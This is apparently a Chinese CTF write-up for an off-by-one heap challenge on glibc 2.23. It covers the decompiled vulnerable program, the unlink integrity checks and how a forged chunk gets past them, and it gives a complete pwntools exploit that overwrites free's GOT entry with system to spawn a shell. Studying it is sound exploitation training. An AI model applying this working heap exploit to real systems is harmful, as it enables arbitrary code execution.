实验平台:
x86_64, Ubuntu 16.04.7 LTS, Kernel 4.15.0-142-generic
GLIBC 2.23-0ubuntu11.3
实验Binary及答案:https://github.com/bjrjk/pwn-learning/tree/main/Unlink/offbyone_unlink
ELF保护措施:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
amd64体系结构,GOT表可写,PIE未开启。
IDA反编译后的C代码如下:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
init();
while ( 1 )
{
putchar('>');
__isoc99_scanf("%d", &v3);
if ( v3 == 1 )
new_data();
if ( v3 == 2 )
delete_data();
if ( v3 == 3 )
show();
if ( v3 == 4 )
edit();
}
}
void init()
{
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
}
unsigned __int64 new_data()
{
int size; // [rsp+0h] [rbp-10h] BYREF
int note_pos; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("size ?");
size = 0;
__isoc99_scanf("%d", &size);
if ( size < 0 || size > 272 || note_num > 11 )
exit(0);
for ( note_pos = 0; note_pos <= 11 && data[note_pos]; ++note_pos )
;
data[note_pos] = (char *)malloc(size);
printf("data:");
read(0, data[note_pos], (unsigned int)size);
data_size[note_pos] = size;
++note_num;
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 delete_data()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("index?");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > note_num )
exit(0);
free(data[v1]);
data[v1] = 0LL;
--note_num;
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 show()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("index?");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > note_num )
exit(0);
if ( data[v1] )
puts(data[v1]);
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 edit()
{
int index; // [rsp+0h] [rbp-10h] BYREF
int readcnt; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("index?");
__isoc99_scanf("%d", &index);
if ( index < 0 || index > note_num )
exit(0);
if ( data[index] )
{
printf("data?");
readcnt = read(0, data[index], (unsigned int)(data_size[index] + 1)); //vulnerable
}
return __readfsqword(0x28u) ^ v3;
}
漏洞点在代码的第92行,可以超出堆块的大小,多写入一个字节。这种类型的题目,我们称其为offbyone
,顾名思义,就是多写了一个字节。不要小看这一个字节,这一个字节的威力确实不小。
为了做这道题目,我们首先来讲解ptmalloc中unlink的相关知识[1]。
Unlink
Unlink Introduction
Unlink操作,是将free chunk list中的任一个chunk从双向链表中脱离的操作。
它的用途之一是,对虚拟地址相连的内存块进行合并。假如两个free chunk不在fastbin中,而又恰好相邻,我们可以将它俩合并起来,以获取一个更大的chunk。进行完毕unlink操作之后,我们再更改chunk的元数据就可以达到合并的效果。
Unlink的源码[2]如下:
/* Take a chunk off a bin list. */
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p))) //Check 1
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) // Check 2
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p // Check 3
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
源码中对堆块的完整性校验有3处,其中一般做pwn题时需要bypass的check是前两处,分别为:
chunksize (p) != prev_size (next_chunk (p))
__builtin_expect (fd->bk != p || bk->fd != p, 0)
,即fd->bk == p && bk->fd != p
。
第1处要求我们伪造好堆块的大小。第2处要求指针的正确性校验通过。
因为glibc的unlink中对堆块的完整性校验很强,所以我们只能使用伪造的方式进行Unlink的利用,具体的利用方式如下。
Unlink Exp
前提条件
- 可以修改Free状态下SmallBin或UnsortedBin中chunk的
fd
和bk
指针。(free chunk可以通过UAF或伪造得到) - Free Chunk的前或后必须有Chunk可以进行释放,使得unlink能够执行。
- 已知位置存在一个指针
ptr
指向free chunk的头部。
效果
使得指针ptr
变为ptr - 0x18
。
利用思路
设指向Free Chunk的指针地址为ptr
,那么,
- 令
ptr->fd = (char*)ptr - 0x18
- 令
ptr->bk = (char*)ptr - 0x10
- 伪造好
size
与prev_size
的一致性 - 触发Unlink
可以使得指针ptr
的内容变为ptr - 0x18
。
具体原理
unlink过程可以化简为如下代码:
if (chunksize (p) != prev_size (next_chunk (p))) //Check 1
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) // Check 2
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
其中p
为free chunk的内存地址。
模拟执行过程,可以有:
fd = p->fd = (char*)ptr - 0x18;
bk = p->bk = (char*)ptr - 0x10;
Check that fd->bk == p && bk->fd != p:
fd->bk = *((char*)fd + 0x18) = *((char*)ptr - 0x18 + 0x18) = *ptr = p
bk->fd = *((char*)bk + 0x10) = *((char*)ptr - 0x10 + 0x10) = *ptr = p
Check Passed.
fd->bk = bk: *ptr = (char*)ptr - 0x10;
bk->fd = fd: *ptr = (char*)ptr - 0x18;
因此,指针ptr
的内容变为了ptr - 0x18
。
题目Exp
本题的主要解题思路为:利用堆的Unlink首先获得任意地址读写,接下来泄露printf的libc地址,最后向free的GOT表地址中写入system。下面结合Exp进行解释:
#!/usr/bin/env python2
# coding = utf-8
# Environment: Ubuntu 16.04
from pwn import *
from LibcSearcher import *
context(arch = "amd64", os = "linux", log_level = "debug")
def send_choice(choice):
p.recvuntil('>')
p.sendline(str(choice))
def new_data(size, data):
send_choice(1)
p.recvuntil('size ?')
p.sendline(str(size))
p.recvuntil('data:')
p.send(data)
def delete_data(index):
send_choice(2)
p.recvuntil('index?')
p.sendline(str(index))
def show_data(index):
send_choice(3)
p.recvuntil('index?')
p.sendline(str(index))
def edit_data(index, data):
send_choice(4)
p.recvuntil('index?')
p.sendline(str(index))
p.recvuntil('data?')
p.send(data)
p = process('./offbyone_unlink')
elf = ELF('./offbyone_unlink')
gdb.attach(p, '')
"""
Heap Layout:
|--------------------
|(nested a fake)chunk used to do off-by-one
|--------------------
|unsorted bin chunk(to unlink)
|--------------------
|isolating chunk(from top)
|--------------------
|top chunk(lefted)
|--------------------
SmallBin: 0x80 < size < 0x400
"""
data_bss = 0x602120 # Directly point to a chunk(i: 0) which will be forged to free later
new_data(0x108, 'a') # chunk(i: 0): 0x100 user data block + 0x8 nextchunk.prev_size(used for data)
new_data(0xf0, 'a')
new_data(0x100, '/bin/sh\x00')
# Step 1: Do heap unlink to get arbitrary memory R/W
payload = '' # A Nested Fake Chunk(fake_chunk) to trigger heap unlink
payload += p64(0) # fake_chunk->prev_size
payload += p64(0x100 | 0x001) # fake_chunk->size | PREV_INUSE
payload += p64(data_bss - 0x18) # fake_chunk->fd
payload += p64(data_bss - 0x10) # fake_chunk->bk
payload = payload.ljust(0x100, 'a') # Padding fake_chunk to user data block size(0x100)
payload += p64(0x100) # next_chunk(i:1)->prev_size
payload += p8(0) # (off-by-one byte) next_chunk->PREV_INUSE = false (forged free)
edit_data(0, payload)
delete_data(1)
# Step 2: Leak `printf` libc address
printf_got = elf.got['printf']
payload = '0' * 0x18 + p64(data_bss) + p64(printf_got)
edit_data(0, payload)
show_data(1)
printf_libc = u64(p.recv(6) + '\x00\x00')
libc = LibcSearcher('printf', printf_libc)
libc_base = printf_libc - libc.dump('printf')
system_libc = libc_base + libc.dump('system')
# Step 3: Write `free` GOT with `system` and get shell
free_got = elf.got['free']
payload = p64(data_bss) + p64(free_got)
edit_data(0, payload)
edit_data(1, p64(system_libc))
delete_data(2)
p.interactive()
代码中,第42~51行的注释呈现了本题目中进行unlink的堆布局。我们可以结合下面的Exp进行理解。
第58行,申请了一个isolating chunk,避免Unlink之后,所有chunk都与top chunk合并了,除此之外,还用做存放system的参数。
第61~69行,我们在申请的第一个chunk中,嵌套了一个自行伪造的chunk,供unlink进行操作。其中有下列地方需要特意注明:
- 第63行的伪造,需要在size的基础上OR 0x1,设置PREV_INUSE标志位,避免ptmalloc尝试去合并前面的压根没chunk的地址
- 第67行的prev_size需要确保与第63行的相同
- 第68行,offbyone的一个字节,对ptmalloc进行欺骗,使得ptmalloc误以为前面的chunk是free的,从而按照我们伪造的chunk进行unlink操作
第70行,free chunk[1],从而引发chunk[0]中伪造chunk的unlink操作。
此后data[0]
的内容被设为(char*)&data - 0x18
。又因为我们可以任意读写data[]
中的内容,到目前为止我们获得了任意地址读写的权限。接下来的操作就很常规了。
第73~80行,泄露libc的地址。
第83~86行,向free的GOT表中写入system的地址。
第87行,利用free块的形式,直接调用system("/bin/sh")
。
参考资料:
[1] https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/
[2] https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#1460
能给个qq吗大佬,有些问题不太明白
兄弟你好!抱歉,现在才看到你的评论!
你可以通过邮件[email protected]联系我。